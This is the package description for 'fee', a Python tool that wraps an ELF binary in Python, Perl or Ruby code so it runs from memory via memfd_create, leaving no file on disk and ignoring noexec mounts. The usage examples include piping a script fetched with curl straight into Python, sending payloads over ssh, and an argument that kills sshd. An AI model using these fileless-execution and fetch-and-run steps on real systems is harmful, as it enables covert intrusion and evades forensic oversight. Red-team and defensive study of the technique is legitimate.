Package: fee
Execute ELF files on a machine without dropping an ELFDescriptionThis Python script generates interpreted code which creates the supplied ELF as a file in memory and executes it (without tmpfs). This makes it possible to execute binaries without leaving traces on the disk.The technique used for this is explainedhere.With default options for each interpreter, running binaries usingfeedoes not write to disk whatsoever. This can be verified using tools such asstrace.feealso completely ignores and bypassesnoexecmount flags, even if they were set on/proc.Target requirementskernel: 3.17 or later (formemfd_createsupport)An interpreter. Any of these:Python 2Python 3PerlRubyInstallationInstall this on your host machine usingpipx:$pipxinstallfee... or regular pip:$pipinstall--userfeeYou may also clone this repository and run the script directly.UsageBasic usage: supply the path to the binary you wish to drop:$fee/path/to/binary>output.pyYou can then pipe this into Python on the target:$curlmy.example.site/output.py|pythonAlternatively, you may generate Perl or Ruby code instead with the--langflag (-l):$fee/path/to/binary-lpl|perl$fee/path/to/binary-lrb|rubyIf you want to pipe over ssh, use the--with-commandflag (-c) to wrap the output inpython -c(orperl -e,ruby -eaccordingly):$fee-c/path/to/binary|sshuser@targetWhen piping over ssh, you sometimes want to wrap the long line which holds the base64-encoded version of the binary, as some shells do not like super long input strings. You can accomplish this with the--wrapflag (-w):$fee-c/path/to/binary-w64|sshuser@targetIf you want to customise the arguments, use the--argvflag (-a):$fee-a"killall sshd"./busybox>output.pyIf you don't wish to include the binary in the generated output, you can instructfeeto generate a script which accepts the ELF from stdin at runtime. For this, use-for the filename. You can combine all of these options for clever one-liners:$sshuser@target"$(fee-c-a"echo hi from stdin"-t"libc"-)"<./busyboxhi from stdinNB!By default, the script parses the encoded ELF's header to determine the target architecture. This is required to use the correct syscall number when callingmemfd_create. If this fails, you can use the--target-architecture(-t) flag to explicitly generate a syscall number. Alternatively, you can use thelibctarget to resolve the symbol automatically at runtime, although this only works when generating Python code.
For more exotic platforms, you should specify the syscall number manually. You need to search formemfd_createin your target's architecture's syscall table. This is located in various places in the Linux kernel sources. Just Googling[architecture] syscall tableis perhaps the easiest. You can then specify the syscall number using the--syscallflag (-s).Full help text:usage: fee.py [-h] [-t ARCH | -s NUM] [-a ARGV] [-l LANG] [-c] [-p PATH] [-w CHARS] [-z LEVEL]
              path

Print code to stdout to execute an ELF without dropping files.

positional arguments:
  path                  path to the ELF file (use '-' to read from stdin at runtime)

optional arguments:
  -h, --help            show this help message and exit
  -t ARCH, --target-architecture ARCH
                        target platform for resolving memfd_create (default: detect from ELF)
  -s NUM, --syscall NUM
                        syscall number for memfd_create for the target platform
  -a ARGV, --argv ARGV  space-separated arguments (including argv[0]) supplied to execle (default:
                        path to file as argv[0])
  -l LANG, --language LANG
                        language for the generated code (default: python)
  -c, --with-command    wrap the generated code in a call to an interpreter, for piping directly
                        into ssh
  -p PATH, --interpreter-path PATH
                        path to interpreter on target if '-c' is used, otherwise a sane default is
                        used
  -w CHARS, --wrap CHARS
                        when base64-encoding the elf, how many characters to wrap to a newline
                        (default: 0)
  -z LEVEL, --compression-level LEVEL
                        zlib compression level, 0-9 (default: 9)